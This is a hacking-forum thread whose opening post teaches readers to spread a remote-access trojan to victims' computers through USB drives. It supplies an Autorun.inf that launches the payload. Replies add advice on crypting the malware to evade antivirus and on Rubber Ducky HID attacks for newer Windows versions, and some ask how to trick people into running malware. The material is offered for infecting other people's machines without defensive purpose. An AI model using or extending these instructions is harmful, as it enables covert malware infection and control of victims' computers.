Thread: [USB-Spreading | Spread your RAT via USB!](#)

HOM135 - November 26, 2015, 8:39 am

USB-Spreading

You can make this method automatic if you browse through your slaves files and put your virus + this .inf into their flashdrive. If you want to spread it yourself you do it the same way you just have to plug your flashdrive into any computer you want to infect.

What you have to do is to copy and paste this code into notepad. You can remove the "ICON=1.ico" if you want to.

Code [AutoRun]

OPEN=server.exe

ICON=1.ico

ACTION=Show Menu

LABEL=MRWECHEAT

After you've pasted the code into notepad you will have to edit the line where it says

"OPEN=server.exe" to "OPEN=YourFileName.exe"

Where it says "ICON=1.ico" you will have to change the name to the name of the icon.

Save the text file as "Autorun.inf" and put your virus + the .inf into a flashdrive and start spread your server!

Thanks bro.

Wireless Network - November 26, 2015, 11:36 am

OP, did you try it and it works? On your win XP, right?

BOBdegree - November 27, 2015, 11:32 am

Made me laugh way too hard ?

GanGBanGeR - November 27, 2015, 4:06 pm

USB Rubber Ducky or [www\(.\)visualdesigning\(.\)com/articles/how-to-create-autorun-usb-drive/](http://www.visualdesigning.com/articles/how-to-create-autorun-usb-drive/) is the latest method

comandoz - November 28, 2015, 10:32 pm

your method doesn't work on win7 and higher

Biometric - November 28, 2015, 10:33 pm

(Nov 28, 2015 11:32 PM)comandoz Wrote: [\[CITE\]](#) your method doesn't work on win7 and higher
This man is 100% correct.

Eugeio - November 29, 2015, 3:08 am

This is very incredible :D

64-Bit - November 29, 2015, 6:19 am

Best your going to get is some stupid call center in india with ancient hardware.

Quinn. TEMP - November 29, 2015, 6:22 am

Pretty good little guide. Hope to see more from you.

TheBoss411 - November 29, 2015, 7:05 am

Nice tutorial.....well explained

_r00t - November 29, 2015, 7:17 am

This is usually Caught By Anti-Malware, make sure to crypt kids

R e v o - December 2, 2015, 6:05 am

work only with windows xp... ;/ but nice tut :D tnx.

e46M314 - December 2, 2015, 5:54 pm

good post man! was looking to start backing up some 'on-the-go' usb rats! haha

TragedyBoss - December 2, 2015, 7:11 pm

how far can i spread my cheeks with my usb?\\

#RootKit

#Naggas

Gruja - December 3, 2015, 2:50 am

Well, this doesn't work on Vista and later OS as Autorun feature is no longer enabled. You have to launch it yourself. However, there are other tricks you can use to trick people accidentally run your malware.

VinDiesel0 - December 10, 2015, 7:18 pm

Correct 100% Gruja ... but do u mind sharing that other tricks to trick people accidentally run the malware??

i was thinking if someone can make a batch to bind the malware with some files on the usb or even all if it was silent ... so when ever he runs a file it's then launched but actually don't know how to do it!!

i realy wish to give my malware a Virus properties such as injecting into files and registry and usb devices.

phpgurl - December 11, 2015, 3:01 am

oh the good old days when this was a thing, how i miss it so.

doguito - February 20, 2016, 4:39 pm

Well then. Nice USB tut.

Maybe ill research more ;3.

dafr34k - February 22, 2016, 10:33 am

great post, thanks for sharing the knowledge. :)

Johnmoe - February 22, 2016, 10:42 am

short and useful.Thanks for sharing bro.

m115 - February 23, 2016, 10:33 am

nice tutorial dude , i hope i can learn that

santasanta - April 10, 2016, 4:19 am

great post, not sure the window has fix this problem to prevent this kind of spread

L33tness - April 10, 2016, 7:35 am

How exactly would i go about getting my USB-Rubber Ducky to do this? Would i simply just copy the code into the inject.bin ?

santasanta - April 16, 2016, 8:57 pm

I believe the USB-Rubber Ducky has it's solution because this USB is cutomized to spread, their spreading method is in github (I forgot the link)

eden_gunz - April 17, 2016, 1:23 pm

Can you go the other way around? (copy virus into a plugged usb)

djstell1 - April 26, 2016, 3:14 am

Thanks you for the tutoriel

pbhuvanesh - May 4, 2016, 4:30 pm

Autorun is blocked by most of the AV's today is it not?

SIM-3022874 - May 27, 2016, 9:27 am

Woah! Thanks a lot m8!! it really helped me

HackerHacked - May 28, 2016, 7:43 pm

Wow good Post! Helpped me alot!

L33tness - May 29, 2016, 5:05 am

LOL, these noobs above saying that this helped them out... SMH, i dont see how. Because it doesnt work anymore. xD

But if you want to know a method that works currently with windows 8 and up.

Here is the guide!

[Click Here](#)

.

Bghackera - June 4, 2016, 1:36 am

Good Tutorial for beginner man this really helped me

Suspecthum - June 4, 2016, 8:40 am

our method doesn't work on win7 and higher

pomwtin - June 4, 2016, 8:47 am

(Jun 4, 2016 08:40 AM)Suspecthum Wrote: [\[CITE\]](#) our method doesn't work on win7 and higher

Of course not... on newer OSes use HID attack to perform USB spreading, as they have autorun disabled.

Search for "rubber ducky" to find out what I am talking about. (Also rubber ducky itself is quite pricey, but "normal" USB with proper controller can be used instead of it)

Jackas - June 5, 2016, 1:31 pm

OMG, THANKS. This is working shit, u god.

klarion001 - June 5, 2016, 2:12 pm

I'll give it a shot. Thanks. Anyone have good success with this yet?

ticorwin - June 8, 2016, 6:07 pm

great tips, thanks for sharing!

9h057 - June 13, 2016, 7:29 am

Is there an updated version of this that will work on windows 10?

Hastur - June 13, 2016, 10:09 am

Great post!

I will try this out later.

saikopsikoy - June 13, 2016, 12:11 pm

thanks of u sharing this tutorial .

raghavsood999 - March 1, 2019, 7:28 pm

Does auto run method for usb spread still work anymore or nowadays you have to use the new .ink method?

Auto run is obsolete isn't it and hard to FUD.
